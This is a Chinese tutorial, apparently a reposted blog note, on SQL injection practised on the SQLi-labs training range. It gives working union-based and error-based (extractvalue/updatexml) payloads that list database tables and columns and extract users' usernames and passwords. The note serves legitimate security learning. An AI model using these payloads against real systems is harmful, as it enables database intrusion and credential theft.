SQL注入学习(配合SQLi-lab靶场)

2023-12-16 11:31:50

前提条件:

在进行sql注入时,首先要确定网页有注入点,一般在URL地址栏中,或者含有输入框的地方会有

SQL注入步骤:

1、判断注入类型

首先判断是什么类型的注入,用id=1 and 1=1 和id=1 and 1=2 判断是数字类型注入还是字符型注入 如果二者都能进行正常显示界面,则为字符型注入,否则是数字型注入

(小技巧:可以用id=2-1判断,如果页面显示的和id=1相同则为数字型注入,如果和id=2相同,则为字符型注入) 字符型注入要看闭合条件(数字型就不用看),所以要判断闭合方式。

2、找到闭合方式(字符型注入)

将id=1后面加'或"查看报错,我们插入的'与前面的形成闭合,然后在后面加--+来注释掉后面的闭合,中间就可以插入我们的查询语句了。

?id=1' union select --+

注意上面这条语句是直接输入到url后面的,不是清空url地址栏输入的!

3、确定列数

所以,在用union之前,要判断列数是多少,一般通过group by二分法测试 如:id=1' group by 10 --+ 回车报错的话,再测试id=1' group by 5 --+ 如果查出来了表示可以,继续测试下去 同样使用order by也能判断列数是多少,这里的重点在于order by后既可以填列名或者是一个数字。 举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

注意union查询要保证前面和后面的查询,列数一致!!! 所以,在用union之前,要判断列数是多少,通过group by二分法测试 如id=1' group by 10 --+ 回车报错的话,在测试id=1' group by 5 --+ 如果查出来了表示可以,继续测试下去 同样使用order by也能判断列数是多少,这里的重点在于order by后既可以填列名或者是一个数字。 举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

select * from user order by id;
selecr * from user order by 1;

判断完列数之后,可以用union进行查询了,比如列数是3

在url后面输入:(Less-1)

?id=1' union select 1,2,3--+

查看回显,没有报错

更改id查看不同的行:

?id=2' union select 1,2,3--+

我们发现,更改id后面的值,就可以查看数据库中的不同的行的内容,记住这个id值,后面会用到

4、用基本函数查看信息

注意观察页面,要用有回显的列数来查看,比如上一个例子中,就不能用id=1的列,查到了也不会有反馈,用id=2或id=3则可以查看

接下来我们使用sql注入来查看数据库的基本信息:其中version(),database()分别是用来查看数据库版本和当前数据库名字的函数。

?id=-1' union select 1,version(),database()--+

为什么上面的id=-1呢?

因为页面只能显示一个内容,第二句(即union 后面的内容)是不显示的,可以把第一句(id=1)的内容改成数据库不存在的数据,如id=-1 或id=0都可

ok,以上四个小点,是sql注入的基本流程,以后的sql注入中虽然有不同的类型,但是基本流程就是这样子,接下来学习不同类型的sql注入

在此之前,需要了解一个重要的知识点information_schema ,这个是mysql数据库中自带的一个系统库,叫做信息数据库,里面存放着两张重要的表,tablescolumns 我们必须了解这两张表中的几个信息,以便于日后更好的注入

给大家一个链接,大家可以仔细观察库中这两张表的基本内容

MySQL 中的 information_schema 数据库_object 'profiling' not found within 'information_s-CSDN博客

接下来我们学习使用这张表来获取信息

如何拿到当前数据库的表名列名

?id=-1' union select 1,2,table_name from information_schema.tables--+

information_schema.tables 就是确定information_schema里的这张tables表

table_nameinformation_schema.tables 表中的一个列,也是information_schema.columns的一个列,用于表示数据库中表格的名称。这个列存储了每个表格在数据库中的实际名称。因此,通过查询 information_schema.tables 表,并选择 table_name 列,你可以获取到数据库中所有表格的实际名称。

column_name是information_schema.columns的一个列,通过查询 information_schema.columns 表,并选择 column_name 列,你可以获取到数据库中所有列的名称列表。

然后回车查看:

成功取到当前表的表名咯~

再来一个:

?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database()--+

table_schema 是对应的表名所属的数据库名(如果大家还不太理解,建议去看上面的链接研究一下,懂了之后你会恍然大悟的)

table_name:需要查询的列名称,表示将会输出表的名称。

from information_schema.tables:从information_schema库中的tables表中获取数据,该表包含了所有数据库的元数据信息,例如表名、列名等。

where table_schema=database():按照数据库名筛选表。其中,database()是MySQL内置函数,用于返回当前正在使用的数据库名称。

我们已经知道了数据库名为security,为啥还要用database()来获取呢? 因为这样有概率绕过WAF

成功获取表名emails

group_concat():确保所有查询信息能放到一行显示出来,非常好用

如:拿到当前数据库的所有表名

?id=-1' union select 1,group_concat(table_name), 3 from information_schema.tables where table_schema='security'

emails、referers等就是table_name下的表名啦

查找数据库security中数据表users的列名:

?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns--+ where table_schema=database() and table_name='users'

查找数据表users中的所有username和password

?id=-1' union select 1,2, group_concat(username,':',password) from users--+

5、字符型union注入和数字型union注入区别

其实以上的所有例子都是字符型注入的实例,在这里只要区分一下二者的小区别即可

数字型union注入与字符型注入基本相同,只是少了找到闭合方式这一步而已,因为数字型注入没有' " )等的闭合,所以会少一步

6、报错注入

找了一张图来方便理解报错注入?

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句Less-5

?id=1' union select 1,2,database()--+

我们使用上述正确的语句,但是不会有回显,但是会报错,从中来获取信息

?id=1' union select 1,2,datadase()--+

1、通过extractvalue()报错注入

extractvalue(列名,查询内容的路径),第二个参数要故意输入错误,导致报错注入

?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+

需要查询别的数据只需要更改(select database())里面的语句即可

例如:(其中0x7e是~号? ? concat()的作用是拼接)

?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables))),3--+

用以下语法查找users的账号密码,发现回显的只有32个字符(就是不能把所有的信息一次输出完毕)。我们利用substring( )来解决这个问题

?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users))),3--+

?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),1,30)))--+

更改SUBSTRING(string,position,length) 函数中的后两位,即可查看未显示的部分

?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),10,30)))--+

拼接上述信息就可以查到完整信息了

2、updatexml()报错注入

updatexml(XML_document,XPath_string,new_value)

XML_document:是string的格式,为XML文档对象的名称

XPath_string:是路径,XPath格式的字符串 (需要输入错误,来导致报错注入)

new_value:string格式,替换查找到符合条件的数据

?id=1" and 1=updatexml(1,concat('~',(select database())),3)--+

?id=1" and 1=updatexml(1,concat(0x7e,substring((select group_concat(username,password) from users),1,31)),3)--+

笔记太多,后续会继续上传~~~

文章来源:https://blog.csdn.net/m0_70349048/article/details/135029160
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。